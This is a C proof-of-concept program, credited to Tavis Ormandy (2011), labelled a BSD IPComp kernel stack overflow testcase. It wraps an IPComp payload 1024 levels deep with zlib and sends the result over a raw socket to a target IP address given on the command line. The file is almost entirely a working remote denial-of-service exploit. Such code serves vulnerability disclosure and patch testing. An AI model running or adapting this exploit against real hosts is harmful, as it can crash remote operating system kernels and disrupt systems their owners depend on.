#include #include #include #include #include #include #include #include #include #include #include // // BSD IPComp Kernel Stack Overflow Testcase // -- Tavis Ormandy , March 2011 // #define MAX_PACKET_SIZE (1024 * 1024 * 32) #define MAX_ENCAP_DEPTH 1024 enum { IPCOMP_OUI = 1, IPCOMP_DEFLATE = 2, IPCOMP_LZS = 3, IPCOMP_MAX, }; struct ipcomp { uint8_t comp_nxt; // Next Header uint8_t comp_flags; // Reserved, must be zero uint16_t comp_cpi; // Compression parameter index uint8_t comp_data[0]; // Payload. }; bool ipcomp_encapsulate_data(void *data, size_t size, int nxt, struct ipcomp **out, size_t *length, int level) { struct ipcomp *ipcomp; z_stream zstream; ipcomp = malloc(MAX_PACKET_SIZE); *out = ipcomp; ipcomp->comp_nxt = nxt; ipcomp->comp_cpi = htons(IPCOMP_DEFLATE); ipcomp->comp_flags = 0; // Compress packet payload. zstream.zalloc = Z_NULL; zstream.zfree = Z_NULL; zstream.opaque = Z_NULL; if (deflateInit2(&zstream, level, Z_DEFLATED, -12, MAX_MEM_LEVEL, Z_DEFAULT_STRATEGY) != Z_OK) { fprintf(stderr, "error: failed to initialize zlib library\n"); return false; } zstream.avail_in = size; zstream.next_in = data; zstream.avail_out = MAX_PACKET_SIZE - sizeof(struct ipcomp); zstream.next_out = ipcomp->comp_data; if (deflate(&zstream, Z_FINISH) != Z_STREAM_END) { fprintf(stderr, "error: deflate() failed to create compressed payload, %s\n", zstream.msg); return false; } if (deflateEnd(&zstream) != Z_OK) { fprintf(stderr, "error: deflateEnd() returned failure, %s\n", zstream.msg); return false; } // Calculate size. *length = (MAX_PACKET_SIZE - sizeof(struct ipcomp)) - zstream.avail_out; ipcomp = realloc(ipcomp, *length); free(data); return true; } int main(int argc, char **argv) { int s; struct sockaddr_in sin = {0}; struct ipcomp *ipcomp = malloc(0); size_t length = 0; unsigned depth = 0; // Nest an ipcomp packet deeply without compression, this allows us to // create maximum redundancy. for (depth = 0; depth < MAX_ENCAP_DEPTH; depth++) { if (ipcomp_encapsulate_data(ipcomp, length, IPPROTO_COMP, &ipcomp, &length, Z_NO_COMPRESSION) != true) { fprintf(stderr, "error: failed to encapsulate data\n"); return 1; } } // Create a final outer packet with best compression, which should now // compress well due to Z_NO_COMPRESSION used in inner payloads. if (ipcomp_encapsulate_data(ipcomp, length, IPPROTO_COMP, &ipcomp, &length, Z_BEST_COMPRESSION) != true) { fprintf(stderr, "error: failed to encapsulate data\n"); return 1; } fprintf(stdout, "info: created %u nested ipcomp payload, %u bytes\n", depth, length); sin.sin_family = AF_INET; sin.sin_port = htons(0); sin.sin_addr.s_addr = inet_addr(argv[1]); if ((s = socket(PF_INET, SOCK_RAW, IPPROTO_COMP)) < 0) { fprintf(stderr, "error: failed to create socket, %m\n"); return 1; } if (sendto(s, ipcomp, length, MSG_NOSIGNAL, (const struct sockaddr *)(&sin), sizeof(sin)) != length) { fprintf(stderr, "error: send() returned failure, %m\n"); return 1; } fprintf(stdout, "info: success, packet sent to %s\n", argv[1]); free(ipcomp); return 0; }